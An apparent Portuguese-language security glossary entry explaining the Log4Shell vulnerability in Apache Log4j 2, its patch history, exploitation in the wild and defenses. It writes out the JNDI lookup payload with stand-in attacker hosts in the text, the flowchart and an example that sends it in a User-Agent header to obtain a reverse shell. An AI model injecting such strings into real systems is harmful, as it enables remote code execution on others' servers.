Log4Shell (CVE-2021-44228)
O que é Log4Shell (CVE-2021-44228)?
Log4Shell (CVE-2021-44228)Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI.
O Log4Shell é uma vulnerabilidade CVSS 10.0 no Apache Log4j 2 (versões 2.0-beta9 até 2.14.1), reportada à Apache por Chen Zhaojun, da Alibaba Cloud, e divulgada publicamente a 9 de dezembro de 2021. A funcionalidade de message lookup do Log4j avaliava expressões ${...} dentro das strings de log; um valor ${jndi:ldap://attacker/x} levava a JVM a efetuar um lookup JNDI, obter uma classe Java remota e desserializá-la — resultando em execução remota de código. Como o Log4j está embebido em inúmeras aplicações e appliances Java, qualquer valor controlado pelo atacante que chegasse a um log (User-Agent, caixa de pesquisa, nome de ficheiro, até o nome de um dispositivo iPhone) tornava-se um gatilho.
A aplicação de patches foi uma correria em várias fases: a 2.15.0 desativou os lookups mas estava incompleta (CVE-2021-45046), a 2.16.0 removeu os message lookups, a 2.17.0 corrigiu um DoS (CVE-2021-45105) e a 2.17.1 resolveu o CVE-2021-44832 — a versão corrigida recomendada para Java 8. A exploração em massa começou em poucas horas; a CISA adicionou-a ao catálogo KEV e foi abusada por grupos de ransomware e pelo ator estatal iraniano por trás de intrusões em redes dos EUA. Defesas: atualizar para 2.17.1+ (ou 2.12.4 / 2.3.2 para Java mais antigo), definir log4j2.formatMsgNoLookups=true, remover a classe JndiLookup, bloquear o egress de saída LDAP/RMI e usar um SBOM para localizar todas as cópias embebidas.
flowchart TD
A[Atacante] -->|"entrada: ${jndi:ldap://evil/x}"| B[Aplicação Java loga a string]
B --> C[Log4j avalia o lookup]
C --> D[Consulta JNDI ao servidor LDAP do atacante]
D --> E[Servidor devolve URL de classe Java maliciosa]
E --> F[JVM descarrega & desserializa a classe]
F --> G[Execução remota de código]● Exemplos
- 01
Enviar User-Agent: ${jndi:ldap://attacker.com/x} a uma aplicação web Java e obter uma shell reversa.
- 02
Explorar um serviço Java interno logando um valor malicioso inserido num campo de nome de utilizador.
● Perguntas frequentes
O que é Log4Shell (CVE-2021-44228)?
Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI. Pertence à categoria Vulnerabilidades da cibersegurança.
O que significa Log4Shell (CVE-2021-44228)?
Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI.
Como se defender contra Log4Shell (CVE-2021-44228)?
As defesas contra Log4Shell (CVE-2021-44228) costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.
Quais são outros nomes para Log4Shell (CVE-2021-44228)?
Nomes alternativos comuns: CVE-2021-44228, Vulnerabilidade Log4j.